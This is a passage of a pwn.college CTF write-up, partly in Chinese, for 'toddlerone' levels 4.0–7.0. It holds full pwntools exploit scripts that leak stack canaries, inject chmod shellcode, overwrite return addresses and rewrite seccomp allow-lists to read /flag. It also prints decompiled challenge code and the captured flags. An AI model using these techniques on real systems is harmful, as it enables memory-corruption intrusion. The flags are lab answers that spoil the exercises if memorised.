rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}nRBP: {to_hex_bytes(rbp)}") return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}") def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little") ret_addr = rbp - fixed_offset shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_to_v14_size - shellcode_length, b"A") shellcode += v14 shellcode += padding_to_canary shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore")) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(target) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{ECpb0UATZ-UymShuFolh7qzxgrx.0VNyMDL5cTNxgzW}` # Level 4.1 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload. ## Write-up 参见 [Level 4.0](#level-40)。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-4-1" HOST, PORT = "localhost", 1337 gdbscript = """ c """ backdoor = b"REPEAT " padding_size = 0x58 padding_to_v14_size = 0x50 backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor trigger_length = str(len(backdoor_trigger)) padding_to_ret = b"".ljust(0x8, b"A") v14 = p64(0x736E2B681CA77DD2) fixed_offset = 0x1150 def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) target.recvuntil(backdoor) canary = b"x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}nRBP: {to_hex_bytes(rbp)}") return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}") def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little") ret_addr = rbp - fixed_offset shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_to_v14_size - shellcode_length, b"A") shellcode += v14 shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore")) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(target) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{UiJc7-6JI988NELrbF-uNpbwc-X.0lNyMDL5cTNxgzW}` # Level 5.0 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode, reverse engineering, secco mp, and a method of tricking the challenge into executing your payload. ## Write-up ```c ins={84-119} del={54, 62, 81} collapse={1-50, 58-58, 66-77, 101-116} __int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3) { int *v3; // rax char *v4; // rax unsigned int v6; // ebx const char *v7; // rax __int64 v8; // [rsp+0h] [rbp-E0h] BYREF __int64 v9; // [rsp+8h] [rbp-D8h] __int64 v10; // [rsp+10h] [rbp-D0h] unsigned int v11; // [rsp+1Ch] [rbp-C4h] int i; // [rsp+28h] [rbp-B8h] int v13; // [rsp+2Ch] [rbp-B4h] size_t nbytes; // [rsp+30h] [rbp-B0h] BYREF void *buf; // [rsp+38h] [rbp-A8h] _QWORD *v16; // [rsp+40h] [rbp-A0h] __int64 v17; // [rsp+48h] [rbp-98h] _QWORD v18[18]; // [rsp+50h] [rbp-90h] BYREF __int64 savedregs; // [rsp+E0h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+E8h] [rbp+8h] BYREF v11 = a1; v10 = a2; v9 = a3; v18[15] = __readfsqword(0x28u); memset(v18, 0, 0x78uLL); buf = v18; v16 = &v18[14]; nbytes = 0LL; v18[14] = 0xE700000001LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)&v8; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v8) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:") ; DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,n ", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,n", buf ); puts("("above" it in the stack are other local variables used by the function) ."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an a rbitrarilyn", 103); puts("large input length, and thus overflow the buffer.n"); puts("We have disabled the following standard memory corruption mitigations fo r this challenge:"); puts("- the stack is executable. This means that if the stack contains shellco de"); puts("and you overwrite the return address with the address of that shellcode, it will execute.n"); cp_ = bp_; cv_ = __readfsqword(0x28u); while ( *(_QWORD *)cp_ != cv_ ) cp_ -= 8LL; printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)n" , buf); printf( "right up to (but not including) %p (which is %d bytes beyond the end of the buffer).n", (char *)buf + nbytes, nbytes - 103); printf("Send your payload (up to %lu bytes)!n", nbytes); v13 = read(0, buf, nbytes); if ( v13 < 0 ) { v3 = __errno_location(); v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!n", v4); exit(1); } printf("You sent %d bytes!n", v13); puts("Let's see what happened with the stack:n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %pn", buf); printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_); printf("- the saved return address (previously to main) is at %pn", (const voi d *)rp_); printf("- the saved return address is now pointing to %p.n", *(const void **)r p_); printf("- the canary is stored at %p.n", (const void *)cp_); printf("- the canary value is now %p.n", *(const void **)cp_); putchar(10); printf("You said: %sn", (const char *)buf); puts("This challenge has a trick hidden in its code. Reverse-engineer the bina ry right after this puts()"); puts("call to see the hidden backdoor!"); if ( strstr((const char *)buf, "REPEAT") ) { puts("Backdoor triggered! Repeating challenge()"); return challenge(v11, v10, v9); } else { puts("This challenge will, by default, initialize a seccomp filter jail befo re exiting"); puts("the challenge function. You will have to reverse engineer the program to"); puts("understand how to avoid this."); if ( v18[13] == 0x484D17DF2438CECFLL ) { puts("Jail avoided! Continuing execution."); } else { puts("Restricting system calls (default: kill)"); v17 = seccomp_init(0LL); for ( i = 0; i <= 1; ++i ) { v6 = *((_DWORD *)v16 + i); v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6); printf("Allowing syscall: %s (number %i)n", v7, v6); if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, *((unsigned int * )v16 + i), 0LL) ) __assert_fail( "seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0" , "/challenge/toddlerone-level-5-0.c", 0x9Eu, "challenge"); } if ( (unsigned int)seccomp_load(v17) ) __assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-5-0 .c", 0xA1u, "challenge"); } puts("Goodbye!"); return 0LL; } } ``` 我本以为是要 bypass seccomp 的题,没想到根本用不着动脑子…… 令 `v18[13] == 0x484D17DF2438CECF` seccomp 就形同虚设了。试问这题和前面两题有啥 区别吗,是不是这题就是个引子,后面有真正的 seccomp 玩呀 LOL 值得注意的是这里我们泄漏出来的 rbp 并不是真正的 rbp,而是一些其它的栈内数据,它 后面也有别的返回地址,不过都覆盖掉好像也没啥问题,目的达到了就好~ 我只是想说,我懒得改变量名了,总之解释清楚别误解了就好哈哈哈。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-5-0" HOST, PORT = "localhost", 1337 gdbscript = """ c """ backdoor = b"REPEAT " padding_size = 0x78 padding_to_v18_size = 0x68 backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor trigger_length = str(len(backdoor_trigger)) padding_to_canary = b"".ljust(0x8, b"A") padding_to_ret = b"".ljust(0x18, b"A") v18 = p64(0x484D17DF2438CECF) fixed_offset = 0x11C0 def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) response = target.recvuntil(backdoor) log.debug(response.decode("utf-8", errors="ignore")) canary = b"x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}nRBP: {to_hex_bytes(rbp)}") return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}") def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little") ret_addr = rbp - fixed_offset shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_to_v18_size - shellcode_length, b"A") shellcode += v18 shellcode += padding_to_canary shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore")) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(target) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{k8hu05Nam_pIp8PRsZsT8XQmYSZ.01NyMDL5cTNxgzW}` # Level 5.1 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode, reverse engineering, secco mp, and a method of tricking the challenge into executing your payload. ## Write-up 参见 [Level 5.0](#level-50)。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-5-1" HOST, PORT = "localhost", 1337 gdbscript = """ c """ backdoor = b"REPEAT " padding_size = 0x58 padding_to_v13_size = 0x40 backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor trigger_length = str(len(backdoor_trigger)) padding_to_canary = b"".ljust(0x10, b"A") padding_to_ret = b"".ljust(0x8, b"A") v13 = p64(0x4887233ABFEDC049) fixed_offset = 0x1160 def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) response = target.recvuntil(backdoor) log.debug(response.decode("utf-8", errors="ignore")) canary = b"x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}nRBP: {to_hex_bytes(rbp)}") return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}") def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little") ret_addr = rbp - fixed_offset shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_to_v13_size - shellcode_length, b"A") shellcode += v13 shellcode += padding_to_canary shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore")) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(target) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{w8_cw1WNbjdmbd10XDPrPKfumT5.0FOyMDL5cTNxgzW}` # Level 6.0 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode, reverse engineering, secco mp, and a method of tricking the challenge into executing your payload. ## Write-up ```c {28, 30-31} ins={86-111} del={56, 64, 83} collapse={1-24, 35-52, 60-60, 68- 79} __int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3) { int *v3; // rax char *v4; // rax unsigned int v6; // ebx const char *v7; // rax __int64 v8; // [rsp+0h] [rbp-F0h] BYREF __int64 v9; // [rsp+8h] [rbp-E8h] __int64 v10; // [rsp+10h] [rbp-E0h] unsigned int v11; // [rsp+1Ch] [rbp-D4h] int i; // [rsp+28h] [rbp-C8h] int v13; // [rsp+2Ch] [rbp-C4h] size_t nbytes; // [rsp+30h] [rbp-C0h] BYREF void *buf; // [rsp+38h] [rbp-B8h] _DWORD *v16; // [rsp+40h] [rbp-B0h] __int64 v17; // [rsp+48h] [rbp-A8h] _DWORD v18[34]; // [rsp+50h] [rbp-A0h] BYREF unsigned __int64 v19; // [rsp+D8h] [rbp-18h] __int64 savedregs; // [rsp+F0h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+F8h] [rbp+8h] BYREF v11 = a1; v10 = a2; v9 = a3; v19 = __readfsqword(0x28u); memset(v18, 0, 0x78uLL); buf = v18; v16 = &v18[29]; nbytes = 0LL; v18[29] = 1; v18[30] = 231; puts("The challenge() function has just been launched!"); sp_ = (__int64)&v8; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v8) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:") ; DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,n ", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,n", buf ); puts("("above" it in the stack are other local variables used by the function) ."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an a rbitrarilyn", 114); puts("large input length, and thus overflow the buffer.n"); puts("We have disabled the following standard memory corruption mitigations fo r this challenge:"); puts("- the stack is executable. This means that if the stack contains shellco de"); puts("and you overwrite the return address with the address of that shellcode, it will execute.n"); cp_ = bp_; cv_ = __readfsqword(0x28u); while ( *(_QWORD *)cp_ != cv_ ) cp_ -= 8LL; printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)n" , buf); printf( "right up to (but not including) %p (which is %d bytes beyond the end of the buffer).n", (char *)buf + nbytes, nbytes - 114); printf("Send your payload (up to %lu bytes)!n", nbytes); v13 = read(0, buf, nbytes); if ( v13 < 0 ) { v3 = __errno_location(); v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!n", v4); exit(1); } printf("You sent %d bytes!n", v13); puts("Let's see what happened with the stack:n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %pn", buf); printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_); printf("- the saved return address (previously to main) is at %pn", (const voi d *)rp_); printf("- the saved return address is now pointing to %p.n", *(const void **)r p_); printf("- the canary is stored at %p.n", (const void *)cp_); printf("- the canary value is now %p.n", *(const void **)cp_); putchar(10); printf("You said: %sn", (const char *)buf); puts("This challenge has a trick hidden in its code. Reverse-engineer the bina ry right after this puts()"); puts("call to see the hidden backdoor!"); if ( strstr((const char *)buf, "REPEAT") ) { puts("Backdoor triggered! Repeating challenge()"); return challenge(v11, v10, v9); } else { puts("Restricting system calls (default: kill)"); v17 = seccomp_init(0LL); for ( i = 0; i <= 1; ++i ) { v6 = v16[i]; v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6); printf("Allowing syscall: %s (number %i)n", v7, v6); if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, (unsigned int)v16[i ], 0LL) ) __assert_fail( "seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0", "/challenge/toddlerone-level-6-0.c", 0x97u, "challenge"); } if ( (unsigned int)seccomp_load(v17) ) __assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-6-0.c ", 0x9Au, "challenge"); puts("Goodbye!"); return 0LL; } } ``` 得,果不出我所料,这 seccomp 不就来了嘛~ 其实不用 seccomp-tools 也行,不过这里也贴一下好啦: ```plaintext wrap=false showLineNumbers=false line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008 0005: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0007 0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x06 0x00 0x00 0x00000000 return KILL ``` `seccomp_rule_add` 会允许 `v16[i]` 处保存的系统调用,`v16[i]` 处保存的两个默认系 统调用分别是 `write (1)` 和 `exit_group (231)`,究其原因是因为程序执行完 seccomp 后还需要调用 `puts` 函数,而 `puts` 函数就需要这两个系统调用才可以执行。 所以我们有两个可用的系统调用可以发挥(怎么发挥?栈溢出过去覆盖成自己的~),这里 还是选择 `chmod`,允许了 `chmod` 后还需要允许 `write` 才可以成功执行 `chmod`,我 猜应该是因为 `chmod` 会去修改 `inode` 中保存的权限信息,而修改它需要 `write` 系 统调用,所以使用 `chmod` 的话我们必须同时允许 `write` 才行。 需要注意的就是必须先允许主要系统调用,再允许其内部依赖的系统调用,否则 seccomp 会直接阻止主要调用。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p32, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-6-0" HOST, PORT = "localhost", 1337 gdbscript = """ c """ backdoor = b"REPEAT " padding_size = 0x88 backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor trigger_length = str(len(backdoor_trigger)) allowed_syscall_offset = 0x74 padding_to_ret = b"".ljust(0x18, b"A") fixed_offset = 0x11E0 def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) response = target.recvuntil(backdoor) log.debug(response.decode("utf-8", errors="ignore")) canary = b"x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}nRBP: {to_hex_bytes(rbp)}") return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}") def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little") ret_addr = rbp - fixed_offset shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(allowed_syscall_offset - shellcode_length, b"A") shellcode += p32(0x5A) # SYS_chmod shellcode += p32(0x01) # SYS_write shellcode += b"".ljust(padding_size - (allowed_syscall_offset + 0x8), b"A") shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore")) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(target) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{Uh7pFxiL1QPHZzDdWNmvsW7FH_Y.0VOyMDL5cTNxgzW}` # Level 6.1 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode, reverse engineering, secco mp, and a method of tricking the challenge into executing your payload. ## Write-up 参见 [Level 6.0](#level-60)。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p32, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-6-1" HOST, PORT = "localhost", 1337 gdbscript = """ c """ backdoor = b"REPEAT " padding_size = 0x38 backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor trigger_length = str(len(backdoor_trigger)) allowed_syscall_offset = 0x2C padding_to_ret = b"".ljust(0x8, b"A") fixed_offset = 0x1120 def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) response = target.recvuntil(backdoor) log.debug(response.decode("utf-8", errors="ignore")) canary = b"x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}nRBP: {to_hex_bytes(rbp)}") return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}") def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little") ret_addr = rbp - fixed_offset shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(allowed_syscall_offset - shellcode_length, b"A") shellcode += p32(0x5A) # SYS_chmod shellcode += p32(0x01) # SYS_write shellcode += b"".ljust(padding_size - (allowed_syscall_offset + 0x8), b"A") shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore")) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(target) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{Mipexe2lNIdsBTQy-Vxsp5mdVZl.0FMzMDL5cTNxgzW}` # Level 7.0 ## Information - Category: Pwn ## Description > Write a full exploit for a custom VM involving injecting shellcode and a metho d of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled! ## Write-up ```c {47} del={31} collapse={1-27, 35-43, 51-55} int __fastcall main(int argc, const char **argv, const char **envp) { const char **v4; // [rsp+0h] [rbp-420h] BYREF int v5; // [rsp+Ch] [rbp-414h] _BYTE buf[1024]; // [rsp+10h] [rbp-410h] BYREF int v7; // [rsp+410h] [rbp-10h] __int16 v8; // [rsp+414h] [rbp-Ch] char v9; // [rsp+416h] [rbp-Ah] __int64 savedregs; // [rsp+420h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+428h] [rbp+8h] BYREF v5 = argc; v4 = argv; printf("[+] Welcome to %s!n", *argv); puts("[+] This challenge is an custom emulator. It emulates a completely custo m"); puts("[+] architecture that we call "Yan85"! You'll have to understand the"); puts("[+] emulator to understand the architecture, and you'll have to understa nd"); puts("[+] the architecture to understand the code being emulated, and you will "); puts("[+] have to understand that code to get the flag. Good luck!"); puts("[+]"); puts("[+] This level is a full Yan85 emulator. You'll have to reason about yan code,"); puts("[+] and the implications of how the emulator interprets it!"); setvbuf(_bss_start, 0LL, 2, 1uLL); memset(buf, 0, sizeof(buf)); v7 = 0; v8 = 0; v9 = 0; printf("[!] This time, YOU'RE in control! Please input your yancode: "); puts("[+] This challenge doesn't allow you to call open via the sys instructio n, but luckily,"); puts("[+] it makes a memory error that will let you accomplish your goals. Goo d luck!"); read(0, buf, 0x300uLL); sp_ = (__int64)&v4; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v4) >> 3) + 2; rp_ = (__int64)&retaddr; puts("[!] Let's take a look at the stack before we execute your yancode:"); DUMP_STACK(sp_, sz_); printf("[-] the saved frame pointer (of main) is at %pn", (const void *)bp_); printf("[-] the saved return address is at %pn", (const void *)rp_); printf("[-] the saved return address is currently pointing to %p.n", *(const v oid **)rp_); puts("[+]"); puts("[+] This is a *teaching* challenge, which means that it will output"); puts("[+] a trace of the Yan85 code as it processes it. The output is here"); puts("[+] for you to understand what the challenge is doing, and you should us e"); puts("[+] it as a guide to help with your reversing of the code."); puts("[+]"); interpreter_loop((__int64)buf); puts("[+] Exited interpreter loop! I hope you accomplished what you wanted!"); puts("[!] Let's take a look at the stack after your yancode executed:"); DUMP_STACK(sp_, sz_); printf("[-] the saved frame pointer (of main) is at %pn", (const void *)bp_); printf("[-] the saved return address is at %pn", (const void *)rp_); printf("[-] the saved return address is now pointing to %p.n", *(const void ** )rp_); return 0; } ``` Wow, Yan85 Virtual Machine! 第一次见这种自定义指令集的题,感觉还是很新颖的!OK,通过简单的观察分析我们大致可 以知道,这题会使用一套自定义指令集,称为 `yancode`!而剩下的不用我说你应该也清楚 ,那就是用这套自定义指令集来写 shellcode,想办法获取 flag。 所以得先逆向分析搞清楚这个虚拟机提供了哪些指令,指令的机器码等等这些最基本的元素 ,才有能力用它编写 shellcode,攻击的思路则与用什么指令集无关,随你发挥~ 程序的 main 函数我贴在上面了,我本来想尝试通过 `read(0, buf, 0x300uLL);` 来覆盖 返回地址的,但是我们的输入大小被限制在 `0x300` 了,根本摸不到……也是,这可是传说 中的 Yan85,怎么可能那么容易哈哈哈。那么继续往下看,我们发现,它会调用 `interpre ter_loop((__int64)buf)` 来解析 buf 中的指令。 这个函数的定义如下: ```c {13-15} ins={9-10} __int64 __fastcall interpreter_loop(__int64 a1) { unsigned __int8 v1; // al __int64 result; // rax while ( 1 ) { result = *(unsigned __int8 *)(a1 + 1029); if ( (_BYTE)result == 0xFF ) break; v1 = *(_BYTE *)(a1 + 1029); *(_BYTE *)(a1 + 1029) = v1 + 1; interpret_instruction( a1, *(unsigned __int16 *)(a1 + 3LL * v1) | ((unsigned __int64)*(unsigned __int 8 *)(a1 + 